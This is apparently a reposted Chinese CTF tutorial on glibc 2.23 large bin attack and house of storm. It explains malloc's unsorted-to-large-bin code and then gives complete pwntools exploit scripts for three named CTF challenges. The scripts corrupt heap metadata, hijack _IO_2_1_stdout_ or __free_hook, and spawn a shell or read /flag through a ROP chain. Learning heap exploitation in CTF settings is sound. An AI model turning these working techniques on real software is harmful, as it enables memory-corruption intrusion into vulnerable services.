large bin attack house of strom

2024-01-08 17:20
文章标签 bin house attack large strom

本文主要是介绍large bin attack house of strom,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

large bin attack & house of strom

large bin attack是一种堆利用手法,而house of strom则是在large bin attack的基础上借用unsorted bin来达到任意地址分配,首先我们从源码入手来分析large bin attack原理,然后再讲讲house of strom的原理,接着再看几个题目。

为例方便分析,以2.23为例,新版本有tcache的情况类似,只需填满tcache bin绕过tcache即可。

在free的时候,chunk要么被放入fastbin,要么就被放到unsorted bin。当我们再次malloc的时候,如果对unsorted bin做了遍历,unsorted bin里的chunk才会被放到对应的bin,比如large bin、small bin。比如我在unsorted bin里有一个size为0x420的chunk,那么它会被放到对应的large bin里。而large bin attack就是利用了unsorted bin里未归位的chunk插入到large bin时的解链、成链操作。来看一段malloc中的源码

  1. for (;; )  
  2.    {  
  3.      int iters = 0;  
  4.      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) //遍历unsorted bin  
  5.        {  
  6.          bck = victim->bk;  
  7.          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)  
  8.              || __builtin_expect (victim->size > av->system_mem, 0))  
  9.            malloc_printerr (check_action, "malloc(): memory corruption",  
  10.                             chunk2mem (victim), av);  
  11.          size = chunksize (victim); //获得当前unsorted bin chunk的大小  
  12.   
  13.          ..........................  
  14.   
  15.          if (in_smallbin_range (size))  
  16.            {  
  17.              victim_index = smallbin_index (size);  
  18.              bck = bin_at (av, victim_index);  
  19.              fwd = bck->fd;  
  20.            }  
  21.          else //属于large bin范围  
  22.            {  
  23.              victim_index = largebin_index (size); //根据size,得到对应的large bin索引  
  24.              bck = bin_at (av, victim_index); //获取对应索引的large bin里的最后一个chunk  
  25.              fwd = bck->fd; //获得对应索引的large bin的第一个chunk  
  26.   
  27.              /* maintain large bins in sorted order */  
  28.              if (fwd != bck) //这意味着当前索引的large binchunk不为空  
  29.                {  
  30.                  /* Or with inuse bit to speed comparisons */  
  31.                  size |= PREV_INUSE;  
  32.                  /* if smaller than smallest, bypass loop below */  
  33.                  assert ((bck->bk->size & NON_MAIN_ARENA) == 0);  
  34.                  if ((unsigned long) (size) < (unsigned long) (bck->bk->size))  
  35.                    {  
  36.                      fwd = bck;  
  37.                      bck = bck->bk;  
  38.   
  39.                      victim->fd_nextsize = fwd->fd;  
  40.                      victim->bk_nextsize = fwd->fd->bk_nextsize;  
  41.                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;  
  42.                    }  
  43.                  else  
  44.                    {  
  45.                      assert ((fwd->size & NON_MAIN_ARENA) == 0);  
  46.                      while ((unsigned long) size < fwd->size)  
  47.                        {  
  48.                          fwd = fwd->fd_nextsize;  
  49.                          assert ((fwd->size & NON_MAIN_ARENA) == 0);  
  50.                        }  
  51.   
  52.                      if ((unsigned long) size == (unsigned long) fwd->size)  
  53.                        /* Always insert in the second position.  */  
  54.                        fwd = fwd->fd;  
  55.                      else  
  56.                        {  
  57.                          victim->fd_nextsize = fwd;  
  58.                          victim->bk_nextsize = fwd->bk_nextsize;  //fwd->bk_nextsize可控,因此victim->bk_nextsize可控  
  59.                          fwd->bk_nextsize = victim;  
  60.                          victim->bk_nextsize->fd_nextsize = victim; //第一次任意地址写入unsorted bin chunk的地址  
  61.                        }  
  62.                      bck = fwd->bk; //bk也就是large binbk位置的数据,因此bck可控  
  63.                    }  
  64.                }  
  65.              else  
  66.                victim->fd_nextsize = victim->bk_nextsize = victim;  
  67.            }  
  68.   
  69.          mark_bin (av, victim_index);  
  70.          victim->bk = bck;  
  71.          victim->fd = fwd;  
  72.          fwd->bk = victim;  
  73.          bck->fd = victim; //第二次任意地址写入unsorted bin chunk的地址  
  74.   
  75. define MAX_ITERS       10000  
  76.          if (++iters >= MAX_ITERS)  
  77.            break;  
  78.        }  

首先,victim就是unsorted bin chunk,也就在unsorted bin里未归位的large bin chunk。而fwd就是large bin的chunk。从上来看,首先,在unsorted bin里我们得有一个large bin chunk,并且在large bin里,我们也要有一个chunk,但是,我们得保证unsorted bin里的那个large bin chunksize要比large bin里已有的这个chunksize要大一点,但是都属于同一个index

这样做的目的是我们想绕过前面的这一大块,直接到后面的那个else处。

然后,假设我们通过UAF或其他漏洞,控制了large bin里的这个chunk的bk_nextsize为addr1,那么victim->bk_nextsize->fd_nextsize = victim; //第一次任意地址写入unsorted bin chunk的地址 也就是addr1->fd_nextsize = victim,也就是*(addr1+0x20) = victim,这就是第一次任意地址写一个堆地址;接下来,假如,我们还能控制large bin里那个chunk的bk为addr2,那么首先bck = fwd->bk; 使得bck = addr2,接下来bck->fd = victim; //第二次任意地址写入unsorted bin chunk的地址  也就是addr2->fd = victim,也就是*(addr2+0x10) = victim。这样利用large bin attack,我们可以有两次往任意地址写入堆地址的机会。下面,我们就来看一道题。

starctf_2019_heap_master

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

初始化

add函数

delete函数

edit函数

可以看到,这里面的edit,delete操作,都只是针对mmap出来的那片空间,而malloc出来的空间我们控制不了,无法写数据过去。也没有函数用于泄露。由此,我们可以使用large bin attack攻击IO_2_1_stdout结构体,第一次,将IO_2_1_stdout结构体的flags覆盖为堆地址,第二次利用错位将IO_2_1_stdout的_IO_write_base成员低1字节覆盖为0,这样就能泄露数据了。还有一点需要注意的是这个flags有要求

 

首先,我们需要绕过这两个if,这就要求低1字节的低4位不能为8,第二字节的低4位必须要为8,也就是,我们的unsorted bin chunk地址末尾地址应该为0x800这样

接下来,到达new_do_write,我们要让这个if成立

综上,我们的unsorted bin chunk的地址某位应该是这样的0x1800、0x3800、0x5800…这样的第二字节高4位为奇数即可,由于堆地址随机化,因此第二字节高4位我们不用管,随着堆的随机化总有一次符合要求。我们只需要满足低12bit即可,也就是,这个未归位的unsorted bin chunk,我们需要放到偏移0x800处。并且在最后,我们还需要再链入一个小的unsorted bin不然我们执行了large bin attack后,在unsorted bin里还没找到符合申请大小的chunk,就会把large bin切割,导致崩溃。

  1. #伪造8chunk  
  2. #0  
  3. edit(0,0x100,p64(0) + p64(0x421) + 'a'*0xF0)  
  4. #1  
  5. edit(0x420,0x20,p64(0) + p64(0x21) + 'b'*0x10)  
  6. #2  
  7. edit(0x440,0x20,p64(0) + p64(0x21) + 'b'*0x10)  
  8. #3  
  9. edit(0x880,0x100,p64(0) + p64(0x431) + 'c'*0xF0)  
  10. #4  
  11. edit(0xCB0,0x20,p64(0) + p64(0x21) + 'd'*0x10)  
  12. #5  
  13. edit(0xCD0,0x90,p64(0) + p64(0x91) + 'e'*0x80)  
  14. #6  
  15. edit(0xD60,0x20,p64(0) + p64(0x21) + 'f'*0x10)  
  16. #7  
  17. edit(0xD80,0x20,p64(0) + p64(0x21) + 'g'*0x10)  

如上,0将放入large bin,而3将作为在unsorted bin里未归位的large bin chunk,5将链入unsorted bin作为large bin attack以后的申请用。这样攻击了IO_2_1_stdout以后,我们就得到了glibc地址,然后,我们就可以利用house of orange来getshell了。

#coding:utf8
from pwn import *libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
_IO_2_1_stdout_s = libc.sym['_IO_2_1_stdout_']def add(size):sh.sendlineafter('>>','1')sh.sendlineafter('size:',str(size))def edit(offset,size,content):sh.sendlineafter('>>','2')sh.sendlineafter('offset:',str(offset))sh.sendlineafter('size:',str(size))sh.sendafter('content:',content)def delete(offset):sh.sendlineafter('>>','3')sh.sendlineafter('offset:',str(offset))def exploit():#伪造8个chunk#0edit(0,0x100,p64(0) + p64(0x421) + 'a'*0xF0)#1edit(0x420,0x20,p64(0) + p64(0x21) + 'b'*0x10)#2edit(0x440,0x20,p64(0) + p64(0x21) + 'b'*0x10)#3edit(0x880,0x100,p64(0) + p64(0x431) + 'c'*0xF0)#4edit(0xCB0,0x20,p64(0) + p64(0x21) + 'd'*0x10)#5edit(0xCD0,0x90,p64(0) + p64(0x91) + 'e'*0x80)#6edit(0xD60,0x20,p64(0) + p64(0x21) + 'f'*0x10)#7edit(0xD80,0x20,p64(0) + p64(0x21) + 'g'*0x10)#0进入unsored bindelete(0x10)#malloc_consolidate将0放入large binadd(0x430)#接下来,为了在bk和bk_nextsize处都有libc指针,我们要继续伪造unsorted bin#在bk_nextsize处留下libc指针edit(0x10,0xF0,p64(0) + p64(0x91) + 'a'*0x80 + (p64(0) + p64(0x21) + 'a'*0x10) * 3)delete(0x20)add(0x80) #把unsorted bin申请掉#在bk留下libc指针edit(0,0x10,p64(0) + p64(0xC1))delete(0x10)add(0xB0) #把unsorted bin申请掉#修改large bin的bk,指向stdoutedit(0x10,0xA,p64(0) + p16((0x2 << 12) + ((_IO_2_1_stdout_s - 0x10) & 0xFFF)))#修改large bin的bk_nextsizeedit(0x20,0xA,p64(0) + p16((0x2 << 12) + ((_IO_2_1_stdout_s + 0x20 - 0x20 - 0x7) & 0xFFF)))#恢复large bin的头sizeedit(0,0x10,p64(0) + p64(0x421))#3放入unsorted bin,3属于未归位的large bindelete(0x890)#0x90的堆放入unsorted bindelete(0xCE0)#遍历unsorted bin时发生large bin attack,攻击io_2_1_stdoutadd(0x80)sh.recv(1)sh.recv(0x18)libc_base = u64(sh.recv(8)) - libc.symbols['_IO_file_jumps']print 'libc_base=',hex(libc_base)if libc_base >> 40 != 0x7F:raise Exception('leak error')_IO_list_all_addr = libc_base + libc.symbols['_IO_list_all']system_addr = libc_base + libc.sym['system']binsh_addr = libc_base + libc.search('/bin/sh').next()_IO_str_finish_ptr_addr = libc_base + 0x3C37B0print '_IO_list_all_addr=',hex(_IO_list_all_addr)print '_IO_str_finish_ptr_addr=',hex(_IO_str_finish_ptr_addr)print 'system_addr=',hex(system_addr)print 'binsh_addr=',hex(binsh_addr)#house of orangefake_file = p64(0) + p64(0x61) #unsorted bin attackfake_file += p64(0) + p64(_IO_list_all_addr - 0x10)#_IO_write_base < _IO_write_ptrfake_file += p64(0) + p64(1)fake_file += p64(0) + p64(binsh_addr)fake_file = fake_file.ljust(0xC0,'\x00')fake_file += p64(0)*3fake_file += p64(_IO_str_finish_ptr_addr - 0x18) #vtablefake_file += p64(0)fake_file += p64(system_addr)delete(0xCE0) #unsorted binedit(0xCD0,len(fake_file),fake_file) #修改unsorted bin内容#getshelladd(1)while True:try:global sh#sh = process('./starctf_2019_heap_master')sh = remote('node3.buuoj.cn',29960)exploit()sh.interactive()except:sh.close()print 'trying...'

house of strom

理解了large bin attack,接下来,我们就可以来看house of strom了,house of strom可以实现任意地址分配,看看前面的这道题,我们是将一个合法的unsorted bin chunk链接到unsorted bin里未归位的large bin chunk的bk处,假设,我们将一个任意地址比如addr链接到unsorted bin里未归位的large bin chunkbk处,然后执行large bin attack会发生什么。

那么,在large bin attack阶段不会有问题,只是接下来,继续遍历,取到我们链接上的这个chunk时,检查其size,不符合要求然后崩溃。我们可以利用前面的large bin attack,先将addr处的size的位置写上一个堆指针,我们可以利用错位法,这样,在size处留下了chunk地址值的第6字节数据,在开启PIE的情况下,一般为0x550x56,这样,我们malloc(0x40),遍历到第一个未归位的large bin chunk时,发生large bin attack,接下来遍历到后面这个任意地址的chunk时,发现size符合要求,直接返回给用户,就可以成功把这个任意地址的空间申请过来。

这就是house of strom的原理。

我们来看两道题

rctf_2019_babyheap

首先,检查一下程序的保护机制

沙箱禁用了execve调用,因此我们只能使用open、read、write来读flag

然后,我们用IDA分析一下,禁用fastbin,因此不能使用fastbin attack。

Edit功能存在null off by one漏洞。

Add功能里size比较自由

首先就是利用null off by one构造overlap chunk,然后利用malloc_consolidate将一个chunk放到large bin,另一个放到unsorted bin,然后利用overlap chunk去控制这两个bin的指针。然后malloc(0x48)触发large bin attack的同时将会把任意地址申请过来。

我们用house of strom申请到free_hook处,劫持free_hook为setcontext+xx处,这样就能将栈切换到堆里,我们提前在堆里布置好rop即可。

#coding:utf8
from pwn import *context(os='linux',arch='amd64')
#sh = process('./rctf_2019_babyheap')
sh = remote('node3.buuoj.cn',28529)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
setcontext_s = libc.sym['setcontext']
open_s = libc.sym['open']
read_s = libc.sym['read']
write_s = libc.sym['write']def add(size):sh.sendlineafter('Choice:','1')sh.sendlineafter('Size:',str(size))def edit(index,content):sh.sendlineafter('Choice:','2')sh.sendlineafter('Index:',str(index))sh.sendafter('Content:',content)def delete(index):sh.sendlineafter('Choice:','3')sh.sendlineafter('Index:',str(index))def show(index):sh.sendlineafter('Choice:','4')sh.sendlineafter('Index:',str(index))add(0xF0) #0
add(0x38) #1
add(0x3F0) #2 large bin chunk
add(0x10) #3
add(0xF0) #4
add(0x48) #5
add(0x3F0) #6 large bin chunk
add(0x100) #7delete(0)
#null off by one
edit(1,'a'*0x30 + p64(0x40 + 0x100))
delete(2)
add(0xF0) #0
show(1)
sh.recv(1)
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
setcontext_addr = libc_base + setcontext_s
write_addr = libc_base + write_s
open_addr = libc_base + open_s
read_addr = libc_base + read_s
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'setcontext_addr=',hex(setcontext_addr)
#将剩余部分申请,现在2与1重合
add(0x430) #2#继续用同样的方法,构造一个未归位的large bin,并且比前一个大一些,但是要保证处于同一个index内
delete(4)
edit(5,'b'*0x40 + p64(0x50 + 0x100))
delete(6)
add(0xF0) #4
#将剩余部分申请,5与6重合
add(0x440) #6
#2放入unsorted bin
delete(2)
#2放入large bin
add(0x500) #2
#6放入unsorted bin
delete(6)
#现在,堆布局是unsorted bin里一个未归位的large bin,large bin里有一个chunk,且unsorted bin里的比large bin里的大
#将free_hook_addr链接到unsorted bin chunk的bk
fake_chunk = free_hook_addr - 0x10
edit(5,p64(0) + p64(fake_chunk))
#控制large bin的bk_nextsize,目的是解链时向bk_nextsize->fd_nextsize写入一个堆地址,我们可以以此来伪造size
payload = p64(0) + p64(fake_chunk + 0x8) #bk,只需保证是一个可写的地址即可
payload += p64(0) + p64(fake_chunk - 0x18 - 0x5)
edit(1,payload)
##触发house of storm,申请到free_hook处
add(0x48) #6
#写free_hook,栈迁移到堆里
'''mov     rsp, [rdi+0A0h]
...'''
rop = p64(0) + p64(pop_rsi) + p64(free_hook_addr + 0x40) + p64(pop_rdx) + p64(0x200) + p64(read_addr)
payload = p64(setcontext_addr + 0x35) + '\x00'*0x8
payload += rop
edit(6,payload)
#设置0xA0偏移处的值
edit(7,'a'*0xA0 + p64(free_hook_addr + 0x10) + p64(pop_rdi))
#栈迁移到free_hook_addr + 0x10,执行read,继续输入后续rop
delete(7)
flag_addr = free_hook_addr + 0x40 + 0x98
rop2 = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
rop2 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
rop2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
rop2 += '/flag\x00'sleep(1)
sh.send(rop2)sh.interactive()

0ctf_2018_heapstorm2

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

存在一个null off by one漏洞,但是prev_size不可控。

由此,我们可以使用shrink unsorted bin的方法来构造overlap chunk。

Show功能需要满足条件才能使用

因此,我们需要利用house of strom申请到堆指针数组处,也就是0x13370800这个地址处,然后控制其里面的数据,使得我们能够调用show,进而泄露地址,然后通过edit去修改free_hook,从而getshell。

#coding:utf8
from pwn import *sh = process('./0ctf_2018_heapstorm2')
#sh = remote('node3.buuoj.cn',26323)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
malloc_hook_s = libc.sym['__malloc_hook']
free_hook_s = libc.sym['__free_hook']
system_s = libc.sym['system']
binsh_s = libc.search('/bin/sh').next()def add(size):sh.sendlineafter('Command:','1')sh.sendlineafter('Size:',str(size))def edit(index,size,content):sh.sendlineafter('Command:','2')sh.sendlineafter('Index:',str(index))sh.sendlineafter('Size:',str(size))sh.sendafter('Content:',content)def delete(index):sh.sendlineafter('Command:','3')sh.sendlineafter('Index:',str(index))def show(index):sh.sendlineafter('Command:','4')sh.sendlineafter('Index:',str(index))add(0x18) #0
add(0x410) #1
add(0x80) #2
add(0x18) #3
add(0x420) #4
add(0x80) #5
add(0x10) #6#伪造chunk 1的尾部
edit(1,0x400,'b'*0x3F0 + p64(0x400) + p64(0x21))
#1放入unsorted bin
delete(1)
#null off by one shrink unsorted bin
edit(0,0x18-0xC,'a'*(0x18-0xC))
#从unsorted bin里切割
add(0x80) #1
add(0x360) #7
#1放入unsorted bin
delete(1)
#2向前合并
delete(2)
add(0x80) #1 将unsorted bin指针移动到下一个chunk
#将0x420的chunk申请出来,待会儿再放入large bin
add(0x410) #2
#我们用同样的方法来构造一个大一些的large bin
edit(4,0x400,'d'*0x3F0 + p64(0x400) + p64(0x31))
#4放入unsorted bin
delete(4)
#null off by one shrink unsorted bin
edit(3,0x18-0xC,'c'*(0x18-0xC))
#从unsorted bin里切割
add(0x80) #4
add(0x360) #8
#4放入unsorted bin
delete(4)
#5向前合并
delete(5)
add(0x80) #4
#将0x430的chunk申请出来,待会儿再放入unsorted bin
add(0x420) #5
#将2放入large bin,通过7我们可以large bin
delete(2)
add(0x500) #2
#5放入unsorted bin,通过8,我们可以控制一个未归位的large bin
delete(5)
#我们要分配到的目的地
fake_chunk = 0x0000000013370800 - 0x10
#控制unsorted bin相关指针
edit(8,0x10,p64(0) + p64(fake_chunk))
#控制large bin相关指针
edit(7,0x20,p64(0) + p64(fake_chunk + 0x8) + p64(0) + p64(fake_chunk - 0x18 -0x5))
add(0x48) #5
#通过5,我们可以控制整个堆指针数组了
edit(5,0x30,p64(0)*2 + p64(0x13377331) + p64(0) + p64(fake_chunk + 0x40) + p64(0x48))edit(0,0x10,p64(0x00000000133707F3) + p64(0x8))
#泄露堆地址
show(1)
sh.recvuntil('Chunk[1]: ')
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
#泄露lib指针
edit(0,0x10,p64(heap_addr + 0x10) + p64(0x8))
show(1)
sh.recvuntil('Chunk[1]: ')
main_arena_88 = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
system_addr = libc_base + system_s
binsh_addr = libc_base + binsh_s
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)
edit(0,0x10,p64(free_hook_addr) + p64(0x8))
#写free_hook
edit(1,0x8,p64(system_addr))
edit(0,0x10,p64(binsh_addr) + p64(0x8))
#getshell
delete(1)sh.interactive()

 

这篇关于large bin attack house of strom的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/584221

相关文章

论文翻译:arxiv-2024 Benchmark Data Contamination of Large Language Models: A Survey

Benchmark Data Contamination of Large Language Models: A Survey https://arxiv.org/abs/2406.04244 大规模语言模型的基准数据污染:一项综述 文章目录 大规模语言模型的基准数据污染:一项综述摘要1 引言 摘要 大规模语言模型(LLMs),如GPT-4、Claude-3和Gemini的快

Python: #!/usr/bin/python3 #!/usr/bin/env python3

只能放在第一行,第二行就没有效果了。 1. 路径不同 #!/usr/bin/python3&& #!/usr/bin/env python3写在脚本语言第一行的目的是 想要以什么可执行程序去运行这个文件中的代码。 #!/usr/bin/python3是告诉操作系统执行这个脚本的时候,调用/usr/bin下的python3解释器; #!/usr/bin/env python3这种用法是为了

高精度打表-Factoring Large Numbers

求斐波那契数,不打表的话会超时,打表的话普通的高精度开不出来那么大的数组,不如一个int存8位,特殊处理一下,具体看代码 #include<stdio.h>#include<string.h>#define MAX_SIZE 5005#define LEN 150#define to 100000000/*一个int存8位*/int num[MAX_SIZE][LEN];void

[论文笔记]Making Large Language Models A Better Foundation For Dense Retrieval

引言 今天带来北京智源研究院(BAAI)团队带来的一篇关于如何微调LLM变成密集检索器的论文笔记——Making Large Language Models A Better Foundation For Dense Retrieval。 为了简单,下文中以翻译的口吻记录,比如替换"作者"为"我们"。 密集检索需要学习具有区分性的文本嵌入,以表示查询和文档之间的语义关系。考虑到大语言模

出现 E: Sub-process /usr/bin/dpkg returned an error code (1) 解决方法 (全面分析)

目录 前言1. 问题所示2. 原理分析2.1 第一阶段2.2 第二阶段 3. 解决方法4. 彩蛋4.1 错误不提示,直接卸载4.2 卸载后还是无错误提示 前言 3年前遇到过一个类似的,但是轻松解决,推荐阅读:ubuntu:E: dpkg was interrupted, you must manually run ‘sudo dpkg --configure…解决方法 这回发

[LeetCode] 213. House Robber II

题:https://leetcode.com/problems/house-robber-ii/description/ 题目 You are a professional robber planning to rob houses along a street. Each house has a certain amount of money stashed. All houses at t

预计算攻击(Precomputation Attack):概念与防范

预计算攻击(Precomputation Attack)是一种密码学中的攻击技术,攻击者通过提前计算出可能的密钥或哈希值的映射表,来减少实际攻击时的计算量和时间。预计算攻击广泛应用于针对密码散列函数和对称加密算法的攻击中,常用于破解密码哈希、数字签名等。 1. 预计算攻击的基本概念 预计算攻击的核心思想是通过在攻击前进行大量的计算工作,生成一个可能值到其哈希值(或加密值)的映射表(即“预计算表

Sui Hacker House曼谷站报名开启:在Devcon 2024期间探索Sui区块链创新

Sui 曼谷 Hacker House 报名开启 Sui Bangkok Hacker House 将在曼谷于 2024 年 11 月 4 日至 17 日举办。诚邀开发者深入学习 Move 语言,在 Sui 网络上构建 MVP ,在充满活力的曼谷中度过难忘的两周。 诚挚地邀请开发者加入为期两周的 Sui Bangkok Hacker House。 你将与其他开发者一起学习 Move 语言

教育LLM—大型教育语言模型: 调查,原文阅读:Large Language Models for Education: A Survey

Large Language Models for Education: A Survey 大型教育语言模型: 调查 paper: https://arxiv.org/abs/2405.13001 文章目录~ 原文阅读Abstract1 Introduction2 Characteristics of LLM in Education2.1.Characteristics of LLM

Windows bat脚本学习七(从hex文件中获取bin大小)

一、简介          有关hex文件的介绍,直接参考这篇文章:Hex文件解析_hex文件详解-CSDN博客 二、代码         废话不多,直接上代码: @echo offchcp 65001setlocal enabledelayedexpansionset code=0123456789ABCDEFset hex_file=origin.hexif exist %hex